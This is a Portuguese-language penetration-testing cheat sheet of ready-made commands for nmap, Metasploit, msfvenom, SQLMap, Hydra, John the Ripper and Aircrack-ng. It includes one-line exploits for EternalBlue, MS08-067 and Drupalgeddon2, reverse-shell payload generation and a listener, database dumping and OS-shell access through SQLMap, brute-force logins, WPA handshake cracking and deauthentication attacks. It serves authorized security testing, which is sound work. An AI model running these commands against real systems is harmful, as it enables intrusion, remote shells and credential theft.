Comandos de Pentest
Propósito
Fornecer uma referência abrangente de comandos para ferramentas de teste de penetração, incluindo varredura de rede, exploração, quebra de senhas e testes de aplicações web. Permitir consulta rápida de comandos durante avaliações de segurança.
Inputs/Pré-requisitos
- Kali Linux ou distribuição de teste de penetração
- Endereços IP de destino com autorização
- Wordlists para brute forcing
- Acesso de rede aos sistemas alvo
- Compreensão básica da sintaxe das ferramentas
Outputs/Entregáveis
- Resultados de enumeração de rede
- Vulnerabilidades identificadas
- Payloads de exploração
- Credenciais quebradas
- Descobertas de vulnerabilidades web
Fluxo de Trabalho Principal
1. Comandos Nmap
Descoberta de Host:
# Ping sweep
nmap -sP 192.168.1.0/24
# Listar IPs sem fazer scan
nmap -sL 192.168.1.0/24
# Ping scan (descoberta de host)
nmap -sn 192.168.1.0/24
Varredura de Portas:
# TCP SYN scan (stealth)
nmap -sS 192.168.1.1
# Full TCP connect scan
nmap -sT 192.168.1.1
# UDP scan
nmap -sU 192.168.1.1
# Todas as portas (1-65535)
nmap -p- 192.168.1.1
# Portas específicas
nmap -p 22,80,443 192.168.1.1
Detecção de Serviço:
# Versões de serviço
nmap -sV 192.168.1.1
# Detecção de SO
nmap -O 192.168.1.1
# Scan abrangente
nmap -A 192.168.1.1
# Pular descoberta de host
nmap -Pn 192.168.1.1
Scripts NSE:
# Scan de vulnerabilidades
nmap --script vuln 192.168.1.1
# Enumeração SMB
nmap --script smb-enum-shares -p 445 192.168.1.1
# Enumeração HTTP
nmap --script http-enum -p 80 192.168.1.1
# Verificar EternalBlue
nmap --script smb-vuln-ms17-010 192.168.1.1
# Verificar MS08-067
nmap --script smb-vuln-ms08-067 192.168.1.1
# SSH brute force
nmap --script ssh-brute -p 22 192.168.1.1
# FTP anônimo
nmap --script ftp-anon 192.168.1.1
# DNS brute force
nmap --script dns-brute 192.168.1.1
# Métodos HTTP
nmap -p80 --script http-methods 192.168.1.1
# Headers HTTP
nmap -p80 --script http-headers 192.168.1.1
# Verificação de SQL injection
nmap --script http-sql-injection -p 80 192.168.1.1
Scans Avançados:
# Xmas scan
nmap -sX 192.168.1.1
# ACK scan (detecção de firewall)
nmap -sA 192.168.1.1
# Window scan
nmap -sW 192.168.1.1
# Traceroute
nmap --traceroute 192.168.1.1
2. Comandos Metasploit
Uso Básico:
# Iniciar Metasploit
msfconsole
# Procurar exploits
search type:exploit name:smb
# Usar exploit
use exploit/windows/smb/ms17_010_eternalblue
# Mostrar opções
show options
# Definir alvo
set RHOST 192.168.1.1
# Definir payload
set PAYLOAD windows/meterpreter/reverse_tcp
# Executar exploit
exploit
Exploits Comuns:
# EternalBlue
msfconsole -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOST 192.168.1.1; exploit"
# MS08-067 (Conficker)
msfconsole -x "use exploit/windows/smb/ms08_067_netapi; set RHOST 192.168.1.1; exploit"
# vsftpd backdoor
msfconsole -x "use exploit/unix/ftp/vsftpd_234_backdoor; set RHOST 192.168.1.1; exploit"
# Shellshock
msfconsole -x "use exploit/linux/http/apache_mod_cgi_bash_env_exec; set RHOST 192.168.1.1; exploit"
# Drupalgeddon2
msfconsole -x "use exploit/unix/webapp/drupal_drupalgeddon2; set RHOST 192.168.1.1; exploit"
# PSExec
msfconsole -x "use exploit/windows/smb/psexec; set RHOST 192.168.1.1; set SMBUser user; set SMBPass pass; exploit"
Scanners:
# TCP port scan
msfconsole -x "use auxiliary/scanner/portscan/tcp; set RHOSTS 192.168.1.0/24; run"
# SMB version scan
msfconsole -x "use auxiliary/scanner/smb/smb_version; set RHOSTS 192.168.1.0/24; run"
# SMB share enumeration
msfconsole -x "use auxiliary/scanner/smb/smb_enumshares; set RHOSTS 192.168.1.0/24; run"
# SSH brute force
msfconsole -x "use auxiliary/scanner/ssh/ssh_login; set RHOSTS 192.168.1.0/24; set USER_FILE users.txt; set PASS_FILE passwords.txt; run"
# FTP brute force
msfconsole -x "use auxiliary/scanner/ftp/ftp_login; set RHOSTS 192.168.1.0/24; set USER_FILE users.txt; set PASS_FILE passwords.txt; run"
# RDP scanning
msfconsole -x "use auxiliary/scanner/rdp/rdp_scanner; set RHOSTS 192.168.1.0/24; run"
Handler Setup:
# Multi-handler para reverse shells
msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.1.2; set LPORT 4444; exploit"
Geração de Payload (msfvenom):
# Windows reverse shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f exe > shell.exe
# Linux reverse shell
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f elf > shell.elf
# PHP reverse shell
msfvenom -p php/reverse_php LHOST=192.168.1.2 LPORT=4444 -f raw > shell.php
# ASP reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f asp > shell.asp
# WAR file
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f war > shell.war
# Python payload
msfvenom -p cmd/unix/reverse_python LHOST=192.168.1.2 LPORT=4444 -f raw > shell.py
3. Comandos Nikto
# Scan básico
nikto -h http://192.168.1.1
# Scan abrangente
nikto -h http://192.168.1.1 -C all
# Output para arquivo
nikto -h http://192.168.1.1 -output report.html
# Scans baseados em plugin
nikto -h http://192.168.1.1 -Plugins robots
nikto -h http://192.168.1.1 -Plugins shellshock
nikto -h http://192.168.1.1 -Plugins heartbleed
nikto -h http://192.168.1.1 -Plugins ssl
# Exportar para Metasploit
nikto -h http://192.168.1.1 -Format msf+
# Tuning específico
nikto -h http://192.168.1.1 -Tuning 1 # Apenas arquivos interessantes
4. Comandos SQLMap
# Teste básico de injeção
sqlmap -u "http://192.168.1.1/page?id=1"
# Enumerar databases
sqlmap -u "http://192.168.1.1/page?id=1" --dbs
# Enumerar tabelas
sqlmap -u "http://192.168.1.1/page?id=1" -D database --tables
# Fazer dump de tabela
sqlmap -u "http://192.168.1.1/page?id=1" -D database -T users --dump
# OS shell
sqlmap -u "http://192.168.1.1/page?id=1" --os-shell
# Requisição POST
sqlmap -u "http://192.168.1.1/login" --data="user=admin&pass=test"
# Injeção via cookie
sqlmap -u "http://192.168.1.1/page" --cookie="id=1*"
# Bypass WAF
sqlmap -u "http://192.168.1.1/page?id=1" --tamper=space2comment
# Risk e level
sqlmap -u "http://192.168.1.1/page?id=1" --risk=3 --level=5
5. Comandos Hydra
# SSH brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.1
# FTP brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://192.168.1.1
# HTTP POST form
hydra -l admin -P passwords.txt 192.168.1.1 http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"
# HTTP Basic Auth
hydra -l admin -P passwords.txt 192.168.1.1 http-get /admin/
# SMB brute force
hydra -l admin -P passwords.txt smb://192.168.1.1
# RDP brute force
hydra -l admin -P passwords.txt rdp://192.168.1.1
# MySQL brute force
hydra -l root -P passwords.txt mysql://192.168.1.1
# Lista de usernames
hydra -L users.txt -P passwords.txt ssh://192.168.1.1
6. Comandos John the Ripper
# Quebrar arquivo de senha
john hash.txt
# Especificar wordlist
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
# Mostrar senhas quebradas
john hash.txt --show
# Especificar formato
john hash.txt --format=raw-md5
john hash.txt --format=nt
john hash.txt --format=sha512crypt
# Passphrase de chave SSH
ssh2john id_rsa > ssh_hash.txt
john ssh_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
# Senha ZIP
zip2john file.zip > zip_hash.txt
john zip_hash.txt
7. Comandos Aircrack-ng
# Modo monitor
airmon-ng start wlan0
# Capturar pacotes
airodump-ng wlan0mon
# Alvo de rede específico
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
# Ataque deauth
aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF wlan0mon
# Quebrar handshake WPA
aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap
8. Comandos Wireshark/Tshark
# Capturar tráfego
tshark -i eth0 -w capture.pcap
# Ler arquivo de captura
tshark -r capture.pcap
# Filtrar por protocolo
tshark -r capture.pcap -Y "http"
# Filtrar por IP
tshark -r capture.pcap -Y "ip.addr == 192.168.1.1"
# Extrair dados HTTP
tshark -r capture.pcap -Y "http" -T fields -e http.request.uri
Referência Rápida
Scans de Porta Comuns
# Quick scan
nmap -F 192.168.1.1
# Completo e abrangente
nmap -sV -sC -A -p- 192.168.1.1
# Rápido com versão
nmap -sV -T4 192.168.1.1
Tipos de Hash de Senha
| Modo | Tipo |
|---|---|
| 0 | MD5 |
| 100 | SHA1 |
| 1000 | NTLM |
| 1800 | sha512crypt |
| 3200 | bcrypt |
| 13100 | Kerberoast |
Restrições
- Sempre tenha autorização escrita
- Alguns scans são ruidosos e detectáveis
- Brute forcing pode bloquear contas
- Rate limiting afeta as ferramentas
Exemplos
Exemplo 1: Quick Vulnerability Scan
nmap -sV --script vuln 192.168.1.1
Exemplo 2: Teste de App Web
nikto -h http://target && sqlmap -u "http://target/page?id=1" --dbs
Troubleshooting
| Problema | Solução |
|---|---|
| Scan muito lento | Aumentar timing (-T4, -T5) |
| Portas filtradas | Tentar tipos de scan diferentes |
| Exploit falha | Verificar compatibilidade de versão de alvo |
| Senhas não estão sendo quebradas | Tentar wordlists maiores, rules |